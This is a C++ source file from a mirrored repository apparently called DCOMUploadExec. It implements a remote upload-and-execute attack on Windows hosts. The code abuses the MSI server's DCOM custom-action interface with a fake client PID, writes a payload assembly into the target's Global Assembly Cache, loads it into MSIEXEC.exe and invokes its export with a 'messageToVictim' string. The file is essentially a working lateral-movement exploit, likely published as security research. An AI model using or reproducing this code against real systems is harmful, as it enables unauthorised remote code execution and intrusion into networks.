mirror of
https://github.com/deepinstinct/DCOMUploadExec
synced 2026-06-08 13:47:30 +00:00
184 lines
6.7 KiB
C++
184 lines
6.7 KiB
C++
#include "Includes.h"
|
|
#include "PayloadConfig.h"
|
|
|
|
GUID CLSID_MsiServer = { 0x000c101c,0x0000,0x0000,{0xc0,0x00,0x00,0x00,0x00,0x00,0x00,0x46} };
|
|
GUID IID_IMsiSever = CLSID_MsiServer;
|
|
GUID IID_IMsiCustomAction = { 0x000c1025,0x0000,0x0000,{0xc0,0x00,0x00,0x00,0x00,0x00,0x00,0x46} }; // IDB
|
|
|
|
// parsed from array at rgCLSID
|
|
GUID CLSID_MSIRemoteApi = { 0x000c1035,0x0000,0x0000,{0xc0,0x00,0x00,0x00,0x00,0x00,0x00,0x46} }; // IDB
|
|
|
|
HRESULT MsiUploadExec(IUnknown* pIMsiServerAuthen, COAUTHINFO* pAuthInfo)
|
|
{
|
|
HMODULE hmsi = LoadLibraryA("msi.dll");
|
|
|
|
IMsiRemoteAPI* pRemApi = reinterpret_cast<IMsiRemoteAPI*>(ComUtils::CreateObjectFromDllFactory(hmsi, CLSID_MSIRemoteApi));
|
|
const unsigned long fakeRemoteClientPid = 4; // seems like any active pid would do lol
|
|
unsigned long outServerPid = 0;
|
|
const int cookieSize = 16;
|
|
int iRemoteAPICookieSize = cookieSize;
|
|
char rgchCookie[cookieSize];
|
|
IMsiCustomAction* pMsiAction = nullptr;
|
|
|
|
|
|
WCHAR* pvEnvironment = GetEnvironmentStringsW();
|
|
DWORD cEnv = GetEnvironmentSizeW(pvEnvironment);
|
|
|
|
|
|
// IMsiConfigurationManager is the server side implementation of IMsiServer
|
|
HRESULT msiresult = reinterpret_cast<IMsiConfigurationManager*>(pIMsiServerAuthen)->CreateCustomActionServer(icac64Impersonated, fakeRemoteClientPid, pRemApi, pvEnvironment, cEnv, 0, rgchCookie, &iRemoteAPICookieSize, &pMsiAction, &outServerPid, false);
|
|
if (!pMsiAction)
|
|
{
|
|
std::wcout << L"[-] ERROR: 0x" << std::hex << msiresult << L" Calling CreateCustomActionServer. Make sure you are on the same domain/forest with target." << std::endl;
|
|
pIMsiServerAuthen->Release();
|
|
return 0;
|
|
}
|
|
|
|
IMsiCustomAction* authedAction = nullptr;
|
|
HRESULT hr = ComUtils::SetupAuthOnParentIUnknownCastToIID(pMsiAction, pAuthInfo, (IUnknown**)&authedAction, IID_IMsiCustomAction);
|
|
if(!authedAction)
|
|
{
|
|
std::wcout << L"[-] ERROR: 0x" << std::hex << hr << L" Setting authentication on created IMsiCustomAction" << std::endl;
|
|
pIMsiServerAuthen->Release();
|
|
return -1;
|
|
}
|
|
|
|
std::wcout << L"[+] Created an authenticated IMsiCustomAction hosted on MSIEXEC.exe - PID " << outServerPid << std::endl;
|
|
|
|
char* outc = nullptr;
|
|
int outi = 0;
|
|
// can be any GUIDs
|
|
LPCWSTR mocGuid1 = L"{13333337-1337-1337-1337-133333333337}";
|
|
LPCWSTR mocGuid2 = L"{13333338-1338-1338-1338-133333333338}";
|
|
|
|
|
|
LPCWSTR asmName = ASSEMBLY_NAME;
|
|
LPCWSTR asmblyPath = PAYLOAD_ASSEMBLY_PATH;
|
|
LPCWSTR asmBitness = ASSEMBLY_BITNESS;
|
|
LPCWSTR asmVersion = ASSEMBLY_VERSION;
|
|
LPCWSTR publicKeyToken = ASSEMBLY_PUBLIC_KEY;
|
|
|
|
hr = authedAction->URTAddAssemblyInstallComponent(mocGuid1, mocGuid2, asmName);
|
|
if(FAILED(hr))
|
|
{
|
|
std::wcout << L"[-] ERROR: 0x" << std::hex << hr << L" Calling IMsiCustomAction->URTAddAssemblyInstallComponent" << std::endl;
|
|
authedAction->Release();
|
|
pIMsiServerAuthen->Release();
|
|
return -1;
|
|
}
|
|
hr = authedAction->URTGetAssemblyCacheItem(mocGuid1, mocGuid2, 0, &outi, &outc);
|
|
if (FAILED(hr))
|
|
{
|
|
std::wcout << L"[-] ERROR: 0x" << std::hex << hr << L" Calling IMsiCustomAction->URTGetAssemblyCacheItem" << std::endl;
|
|
authedAction->Release();
|
|
pIMsiServerAuthen->Release();
|
|
return -1;
|
|
}
|
|
hr = authedAction->URTCreateAssemblyFileStream(asmblyPath, STREAM_FORMAT_COMPLIB_MANIFEST); // can only send STREAM_FORMAT_COMPLIB_MODULE or STREAM_FORMAT_COMPLIB_MANIFEST.
|
|
if (FAILED(hr))
|
|
{
|
|
std::wcout << L"[-] ERROR: 0x" << std::hex << hr << L" Calling IMsiCustomAction->URTCreateAssemblyFileStream" << std::endl;
|
|
authedAction->Release();
|
|
pIMsiServerAuthen->Release();
|
|
return -1;
|
|
}
|
|
|
|
std::wcout << L"[+] Created a remote GAC file stream" << std::endl;
|
|
|
|
|
|
HANDLE hAsm = CreateFileW(asmblyPath, GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
|
|
if(!hAsm or hAsm == INVALID_HANDLE_VALUE)
|
|
{
|
|
std::wcout << L"[-] ERROR: 0x" << std::hex << GetLastError() << L" Opening " << asmblyPath << std::endl;
|
|
authedAction->Release();
|
|
pIMsiServerAuthen->Release();
|
|
return -1;
|
|
}
|
|
DWORD asmSize, sizeRead;
|
|
|
|
asmSize = GetFileSize(hAsm, NULL);
|
|
if(asmSize == INVALID_FILE_SIZE)
|
|
{
|
|
std::wcout << L"[-] ERROR: 0x" << std::hex << GetLastError() << L" Running GetFileSize on " << asmblyPath << std::endl;
|
|
authedAction->Release();
|
|
pIMsiServerAuthen->Release();
|
|
return -1;
|
|
}
|
|
|
|
std::unique_ptr<char[]> content = std::make_unique<char[]>(asmSize);
|
|
|
|
if(!ReadFile(hAsm, content.get(), asmSize, &sizeRead, NULL))
|
|
{
|
|
std::wcout << L"[-] ERROR: 0x" << std::hex << GetLastError() << L" Reading " << asmblyPath << std::endl;
|
|
authedAction->Release();
|
|
pIMsiServerAuthen->Release();
|
|
return -1;
|
|
}
|
|
|
|
std::wcout << L"[+] Locally processed " << asmblyPath << std::endl;
|
|
|
|
ulong written = 0;
|
|
hr = authedAction->URTWriteAssemblyBits(content.get(), asmSize, &written);
|
|
if (FAILED(hr))
|
|
{
|
|
std::wcout << L"[-] ERROR: 0x" << std::hex << hr << L" Calling IMsiCustomAction->URTWriteAssemblyBits" << std::endl;
|
|
authedAction->Release();
|
|
pIMsiServerAuthen->Release();
|
|
return -1;
|
|
}
|
|
|
|
hr = authedAction->URTCommitAssemblyStream();
|
|
if (FAILED(hr))
|
|
{
|
|
std::wcout << L"[-] ERROR: 0x" << std::hex << hr << L" Calling IMsiCustomAction->URTCommitAssemblyStream" << std::endl;
|
|
authedAction->Release();
|
|
pIMsiServerAuthen->Release();
|
|
return -1;
|
|
}
|
|
|
|
int outIntCommit = 0;
|
|
char* outCharCommit = nullptr;
|
|
hr = authedAction->URTCommitAssemblies(mocGuid1, &outIntCommit, &outCharCommit);
|
|
if (FAILED(hr))
|
|
{
|
|
std::wcout << L"[-] ERROR: 0x" << std::hex << hr << L" Calling IMsiCustomAction->URTCommitAssemblies" << std::endl;
|
|
authedAction->Release();
|
|
pIMsiServerAuthen->Release();
|
|
return -1;
|
|
}
|
|
std::wstring payload_gac_path = std::format(L"C:\\Windows\\Microsoft.NET\\assembly\\GAC_{0}\\{1}\\v4.0_{2}__{3}\\{1}.dll", asmBitness, asmName, asmVersion, publicKeyToken);
|
|
|
|
std::wcout << L"[+] Uploaded " << asmblyPath << L" to the remote GAC path: " << payload_gac_path << std::endl;
|
|
|
|
hr = authedAction->LoadEmbeddedDLL(payload_gac_path.c_str(), 0);
|
|
if (FAILED(hr))
|
|
{
|
|
std::wcout << L"[-] ERROR: 0x" << std::hex << hr << L" Calling IMsiCustomAction->LoadEmbeddedDLL" << std::endl;
|
|
authedAction->Release();
|
|
pIMsiServerAuthen->Release();
|
|
return -1;
|
|
}
|
|
|
|
std::wcout << L"[+] Loaded " << payload_gac_path << L" to the remote MSIEXEC.exe - PID " << outServerPid << std::endl;
|
|
|
|
ulong pIntPtr, pRetCode;
|
|
std::string messageToVictim = "Hello from DCOM Upload & Execute";
|
|
|
|
hr = authedAction->CallInitDLL(messageToVictim.length(), (PVOID)messageToVictim.c_str(), &pIntPtr, &pRetCode);
|
|
|
|
if (FAILED(hr))
|
|
{
|
|
std::wcout << L"[-] ERROR: 0x" << std::hex << hr << L" authedAction->CallInitDLL" << std::endl;
|
|
authedAction->Release();
|
|
pIMsiServerAuthen->Release();
|
|
return -1;
|
|
}
|
|
|
|
std::wcout << L"[+] Executed " << payload_gac_path << L"'s InitializeEmbeddedUI export" << std::endl;
|
|
std::wcout << L"[+] InitializeEmbeddedUI returned: " << pRetCode << std::endl;
|
|
|
|
authedAction->Release();
|
|
pIMsiServerAuthen->Release();
|
|
return 1;
|
|
}
|